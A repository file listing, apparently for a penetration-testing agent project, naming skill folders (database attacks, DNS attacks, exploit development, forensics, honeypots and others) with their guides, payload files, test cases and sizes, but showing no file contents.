  • kali-claw-pentest-agent/skills/data-scraper-agent/guides/rate-limiting-and-stealth-guide.mdmarkdown · 7.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/guides/structured-data-extraction-guide.mdmarkdown · 9.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/payloads.mdmarkdown · 53.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/data-scraper-agent/test-cases.mdmarkdown · 17.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/SKILL.mdmarkdown · 21.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/guides/database-bruteforce.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/guides/database-lateral-movement-guide.mdmarkdown · 5.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/guides/nosql-attack-guide.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/guides/oracle-database-attack.mdmarkdown · 5.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/guides/redis-mongodb-unauth.mdmarkdown · 6.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/payloads.mdmarkdown · 28.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/database-attack/test-cases.mdmarkdown · 11.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/SKILL.mdmarkdown · 42.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/guides/canary-deployment-playbook.mdmarkdown · 33.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/guides/deception-honeypot-playbook.mdmarkdown · 36.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/payloads.mdmarkdown · 51.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deception-honeypot/test-cases.mdmarkdown · 26.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/SKILL.mdmarkdown · 22.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/guides/continuous-monitoring.mdmarkdown · 7.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/guides/intelligence-correlation.mdmarkdown · 7.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/guides/iterative-search-patterns.mdmarkdown · 5.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/guides/mcp-integration.mdmarkdown · 5.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/guides/multi-source-synthesis-guide.mdmarkdown · 30.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/guides/source-validation-guide.mdmarkdown · 6.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/payloads.mdmarkdown · 72.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/deep-research/test-cases.mdmarkdown · 18.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/SKILL.mdmarkdown · 42.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/guides/detection-engineering-playbook.mdmarkdown · 47.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/guides/soc-playbook-mapping-to-nist-csf-2-0.mdmarkdown · 35.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/payloads.mdmarkdown · 64.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/detection-engineering/test-cases.mdmarkdown · 28.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/SKILL.mdmarkdown · 19.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/guides/2026-03-21-digital-forensics-tools.mdmarkdown · 4.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/guides/digital-forensics-cli-reference.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/guides/disk-image-analysis-guide.mdmarkdown · 7.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/guides/memory-forensics-volatility-guide.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/guides/network-forensics-pcap-guide.mdmarkdown · 10.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/payloads.mdmarkdown · 37.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/digital-forensics/test-cases.mdmarkdown · 12.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/SKILL.mdmarkdown · 21.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/dns-attacks-real-world-incident-case-studies.mdmarkdown · 17.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/dns-attacks-rebinding-tunneling-modern.mdmarkdown · 28.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/dns-enumeration-reconnaissance-guide.mdmarkdown · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/dns-modern-attack-surfaces-deep.mdmarkdown · 15.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/dns-rebinding-attack-guide.mdmarkdown · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/dns-spoofing-cache-poisoning-guide.mdmarkdown · 9.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/dns-tunnel-exfiltration-guide.mdmarkdown · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/dns-tunneling-exfiltration-guide.mdmarkdown · 8.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/payloads.mdmarkdown · 76.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/dns-attacks/test-cases.mdmarkdown · 14.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/SKILL.mdmarkdown · 11.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/guides/container-escape-techniques-guide.mdmarkdown · 4.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/guides/docker-network-security-guide.mdmarkdown · 4.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/guides/docker-security-scanning-guide.mdmarkdown · 6.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/guides/docker-vulnerability-patterns-guide.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/guides/lab-environment-management.mdmarkdown · 20.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/payloads.mdmarkdown · 28.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/docker-patterns/test-cases.mdmarkdown · 23.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/SKILL.mdmarkdown · 15.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/guides/edge-computing-attack-playbook.mdmarkdown · 24.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/guides/real-world-incident-case-studies.mdmarkdown · 26.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/payloads.mdmarkdown · 30.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-attack/test-cases.mdmarkdown · 16.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/SKILL.mdmarkdown · 7.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/payloads.mdmarkdown · 2.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/edge-computing-security/test-cases.mdmarkdown · 3.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/SKILL.mdmarkdown · 11.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/guides/email-forgery-spf-dkim-dmarc-guide.mdmarkdown · 16.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/guides/imap-exchange-attack-guide.mdmarkdown · 16.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/guides/smtp-enumeration-relay-guide.mdmarkdown · 11.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/payloads.mdmarkdown · 32.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-protocol-attack/test-cases.mdmarkdown · 17.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/SKILL.mdmarkdown · 37.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/guides/email-security-deep-deep-dive.mdmarkdown · 35.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/guides/email-security-deep-evasion-deep.mdmarkdown · 75.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/guides/email-security-deep-playbook.mdmarkdown · 25.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/payloads.mdmarkdown · 63.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/email-security-deep/test-cases.mdmarkdown · 26.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/SKILL.mdmarkdown · 56.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/evidence/2026-08-09/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/evidence/2026-08-09/summary.mdmarkdown · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/guides/embedded-rtos-security-deep-dive.mdmarkdown · 46.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/guides/embedded-rtos-security-playbook.mdmarkdown · 45.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/guides/freertos-tcp-vulnerability-research.mdmarkdown · 39.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/guides/practical-validation-2026-08-16.mdmarkdown · 8.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/guides/usage-and-assessment-zh.mdmarkdown · 4.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/payloads.mdmarkdown · 103.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/embedded-rtos-security/test-cases.mdmarkdown · 33.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/SKILL.mdmarkdown · 15.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/guides/engagement-lifecycle-guide.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/guides/evidence-chain-guide.mdmarkdown · 8.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/guides/scope-management-guide.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/payloads.mdmarkdown · 35.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/engagement-manager/test-cases.mdmarkdown · 17.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/SKILL.mdmarkdown · 18.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/evidence/2026-09-07/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/evidence/2026-09-07/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/guides/eu-ai-act-article-9-deep-dive.mdmarkdown · 10.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/payloads.mdmarkdown · 16.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/eu-ai-act-compliance-redteam/test-cases.mdmarkdown · 12.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/SKILL.mdmarkdown · 7.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/guides/advanced-query-construction-guide.mdmarkdown · 6.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/guides/competitive-intelligence-gathering-guide.mdmarkdown · 9.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/guides/exa-api-configuration-guide.mdmarkdown · 7.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/guides/search-result-enrichment-guide.mdmarkdown · 9.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/guides/semantic-search-query-design-guide.mdmarkdown · 7.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/payloads.mdmarkdown · 41.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exa-search/test-cases.mdmarkdown · 21.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/SKILL.mdmarkdown · 21.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/guides/buffer-overflow-to-rop-chain-guide.mdmarkdown · 6.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/guides/heap-exploitation-guide.mdmarkdown · 7.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/guides/kernel-exploit-guide.mdmarkdown · 6.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/guides/pwntools-exploit-development-guide.mdmarkdown · 9.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/guides/shellcode-writing-encoding-guide.mdmarkdown · 10.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/payloads.mdmarkdown · 31.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/exploit-development/test-cases.mdmarkdown · 13.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/SKILL.mdmarkdown · 17.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/guides/lfi-to-rce-exploitation-guide.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/guides/path-traversal-bypass-guide.mdmarkdown · 10.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/guides/rfi-remote-code-execution-guide.mdmarkdown · 10.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/payloads.mdmarkdown · 28.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/file-inclusion/test-cases.mdmarkdown · 14.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/SKILL.mdmarkdown · 15.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/guides/firmadyne-emulation.mdmarkdown · 10.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/firmware-reverse/guides/firmware-extraction-filesystem.mdmarkdown · 10.3 KB

